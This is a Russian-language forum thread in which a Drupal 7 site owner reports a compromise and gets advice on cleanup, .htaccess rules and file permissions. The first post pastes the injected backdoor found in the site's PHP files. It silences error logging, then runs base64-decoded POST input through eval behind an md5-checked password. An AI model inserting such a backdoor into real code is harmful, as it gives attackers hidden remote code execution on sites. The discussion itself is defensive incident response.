@eval взлом всех модулей?
Доброго времени суток.
drupal 7.59
модули все последние, с логах обновлений все зеленое.
Хотел бы уточнить, несколько недель назад решал вопрос с падением сайта, в итоге заменил все фалы модуля recaptcha, обновил ядро и сайт ожил. Однако теперь сайт упал, при там почистив cache сайт поднимается, но грузится крайне медленно, и не только из-за кеша. Посмотрел фалы модулей, и даже корневые файлы, хотя дата изменения их не изменялась, во всех файлах php изначально отключается вывод всех ошибок
error_reporting(0); ini_set('error_log',NULL); ini_set('log_errors',0); ini_set('display_errors','Off');
после выполняется некий php через eval, при том что он по сути я декодировал, проверяет наличие куков
if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }
if($patchedfv === "GHKASMVG" ) { ob_end_clean(); die; }
Не и после, включается логировние. В чем вопрос, это взлом? Если да, то как выявить дырявый модуль ? Ведь все было нормально. А теперь после 15 минут включается редирект на вирусные сайты, при том разные, пока не вычистишь кеш
| Вложение | Размер |
|---|---|
 вот на такой сайт закидывает | 7.15 КБ |
- Блог
- Войдите или зарегистрируйтесь, чтобы отправлять комментарии
Комментарии
Нашел ответ:
расшифровка
Все фалы заражены, значит придется все переписывать. Интересно только кто наследил, наверное из-за старой дыры которую я подлатал.
Недолечили
Модуль Hacked вам в помощь
Hacked не видит лишние файлы. А ведь лишний файл можно вызвать по прямой ссылке, и уже не важно, какая версия друпала установлена.
Да вообще сомнительной нужности модуль. Заражение детектируется с первого взгляда, чистка один хрен тотальная, с перезаписью всех модулей это без вариантов.
Ээээ... тотально....
А как же проверять всех прошлых разрабов на внесение правок в контриб/ядро??
Такие, к сожалению, существуют.
На... гммм... на рефакторинг, вот.
Лишние файлы можно увидеть элементарно и без hacked - на локальной версии конечно. В том же сравнении папок в тотале.
А в остальном Hacked вполне себе удобен - в связке с diff
Скрипты вывести по прямой ссылке нельзя... все должно заворачиваться на /index.php
исключение - каталог public - но там запрет на прокрутку скриптов. Вызов скриптов напрямую невозможен за исключением корня сайта, а если возможен - то надо заглянуть в свой .htaccess и проверить настройки своего виртуал хост.
Певое правило должно быть:
<FilesMatch "\.(engine|inc|info|install|make|module|profile|test|po|sh|.*sql|theme|tpl(\.php)?|xtmpl)(~|\.sw[op]|\.bak|\.orig|\.save)?$|^(\..*|Entries.*|Repository|Root|Tag|Template)$|^#.*#$|\.php(~|\.sw[op]|\.bak|\.orig\.save)$">
Order allow,deny
</FilesMatch>
Это работает только при правильной настройке сервера, то есть не всегда)) однажды я гуглил кусок кода из модуля webform и нашёл в поиске сайт в правительственном домене Филиппин, код которого был полностью проиндексирован))) идеальный бэкап))) после такого я бы не стал так уверенно говорить, что вот прямо нельзя-нельзя вызвать пхп скрипт по прямой ссылке
ну и что. в каком то каталоге лежит скрипт php который открывается как текстовый файл, потому что в данном каталоге выполнение скриптов запрещено. ничего страшного кроме загаженного индекса это не несет.
Ну и потом, пришел ты например в магазин покупать салюты домой и тебе там говорят - отличные салюты, абсолютно безопасны при правильной упаковке. Ну и ты - а вы правильно упаковывайте? А тебе продавец: не знаю не знаю... у нас тут из пожаров текучка кадров страшная...
Ну и ты конечно: а, тогда беру!
ну и коли такой офтоп пошел, один знакомый музыкант искренне просто в сердцах возмущается: в чем смысл петь фальшиво?
Вот я тоже: в чем смысл неправильно настраивать сервера?
Ну ок, вкинь любой пхп скрипт в папку любого модуля и вызови напрямую из браузера.
Так! Гусары!!!
Какие права должны быть на файлах в папках модулей и в других местах?
У вас там есть права execute на файлах... а зачем?
chmod в помощь
https://drupal.ru/node/115956 тут человек описал, было обсуждение
Что характерно, в этом мануале на файлы модулей есть права на выполнение.
Зачем вам права execute на файлы с расширениями module, inc, info? Вы их чем собираетесь выполнять?
Есть только один модуль с присутсвием файла с расширением php, elisa_cron. И там в инструкции написано: скопируйте его в нужное место .
Друпал мозга костей лечится просто. Разверните дистрибутив Друпал и помотрите какие права на файлы в папке /module - и ведь работает!
Так, секунду. Мы ведь говорим о лишних файлах, созданных в результате взлома. Естественно, что они будут создаваться с правами на исполнение. То есть права на файлы здесь вообще ничего не решают. Нужна правильная настройка веб-сервера, чтобы он не пускал вообще никого никуда кроме корня и files, и чтобы не исполнял ничего из files. И отвечая на вопрос выше "зачем сервер настраивать неправильно", хочу отметить, что из коробки любой сервер позволит выполнить что угодно из директории сайта и всех влеженных, т.к. в других движках это может быть необходимо для работы. И вот тут кже с правильной настройкой сервера вряд ли кто-то справится, кроме Бориса.
А что, Борис у нас единственный в мире умеет настраивать серверы?
А типа нет?
Спасибо всем за уделенное время, вроде почистил и базу (кеш) и файлы, ядро перезалил, а сами модули в большинстве чистил руками, чтобы не зацепить настройки сделанные предыдущим администратором сайта. Пока полет нормальный, да и грузится быстрее, из-за того, что не нужно грузить сторонний сайт.
Модуль Hacked не инициализируется,
В папках с модулями нет настроек, они все в базе.
Ещё либы перезалить (а вот тут аккуратнее, могут быть, к примеры стили superfish menu) и файлопомойку прошерстить на скрипты (их быть не должно).
ну это тоже говорит о том, что надо дальше заниматься... не работает интерфейс пакетной обработки судя по ответу, проверьте на чем нибудь другом работу батча с индикацией
Как раз наоборот, неестественно совершенно.
Сразу после установки всем служебным директориям даются права r-x r-x r-x а файлам в них r-- r-- r-- и все (извини Борис) Права x на директории означают, что можно получать список файлов них.Даже если взломщик получил от имени сервера возможность выполнить код, он ничего не сможет сделать в этих каталогах... ну кроме как получить список файлов
Откуда берутся права r на файлах - от вредного сoвета устанавливать права командой
а надо в два захода, сначала задаем всем каталогам и файлам в ветке права r-x, а потом снимаем с файлов x
find ./sites/all -type f -exec chmod a-x {} \;
Это паранодальный режим, в котором обновление модулей возможно только через консоль и sudo. Избыточность кода тут для наглядности
Если зловред может выполнять код, то он выполнит chmod и все твои рассуждения идут лесом. Как правило, хозяин папок и файлов в директории тот, от чьего имени работает сервер. Конечно, в упомянутом параноидальном режиме такое не прокатит. Но мы говорим об обычных друпал-сайтах, с обычными для друпала правами и настройками. И в данном контексте можно утверждать с вероятностью 99%, что любой вредоносный пхп-файл можно запустить по прямой ссылке. И пока ты игнорируешь такую возможность, опираясь на фрагментарные знания о системном администрировании, с твоих сайтов могут рассылать спам, майнить и атаковать кого-то.
Да нет же !!!
Он не может выполнить chmod если он не владелец сайта и файлов в нем.
Это не мои рассуждения - это моя практика
Большой вопрос, как такая настройка скажется на работоспособности сервера. Как правило, владелец всего внутри веб-директории www-data. От его же имени выполняется любой пхп-скрипт. Есть в семёрке вот такая вещь, которая используется очень много где. Кэш js, css, twig-шаблонов и т.д. не будут работать, если пхп-скрипт не может писать в файловую систему.
Предлагаю игру - тренировку: я на timeweb создаю на 10 дней учетку с Друпалом (7) и пишу тикеты по настройкам безопасности или прошу их ТП дать конкретные рекомендации, которые я могу выполнить из админки. И сообщаю желающим пароль админки Друпал. Желающие ломают сайт. сообщают о своих удачах. Вместе ищем способы защиты и результаты выкладываем сюда.
делайте.
Можете даже php-фильтр удалить.
Только это не спасёт
От всего конечно нет. Как минимум почиканную базу буду иметь, но ее можно восстановить их бэкапа и это 2-3 минуты плюс гемор с потерей изменений
ссылка для размышления https://niklan.net/core/core.api.php
Опираясь на свои фрагментарные знания..
Не болтай ерундой
но этого недостаточно... если у апача есть права на выполнение команды chmod и chown то конечно он их поменяет. Для предотвращения - апачу должны быть запрещены эти команды либо он не должен владельцем корня сайта и всех его файлов. (тогда то что выше меняет параною на норму chmod -R 755 ./sites/all) К сожалению хостеры испльзуют схему chroot когда апач и юзер - то есть вы - один и тот же юзер. С точки зрения безопасности крайне неудобное сочетание. По этой причине предпочитаю VDS Но и в случае с "обычным хостингом" решается урезанием себя а значит и апача, в правах владельца каталога через тикет в службу ТП или просьбой запретить себе команды chmod. А как же тогда маленькие тесты с кодом? а в другом месте...
афтар жжот, собственно, апач-то причём? Это не он делает chmod, а интерпретатор.
Есть куча конфигов кроме Apache + mod_php.
Или предлагаете в дикий safe mode всем переходить?
А.. ты не в курсе, что все процессы апача выполняются с правами апача? И даже команды интерпретатора будут выполняться от его имени? ну, нет вопросов
Я в курсе, что кроме денвера под винду существует куча вариантов.
А вы в очередной раз безапелляционно пытаетесь навязать своё мнение
Кароч, за рубль почищу. Если там есть самописные модули - дороже.
Если внимательно читать, то все давно работает, люди просто обсуждают и спорят )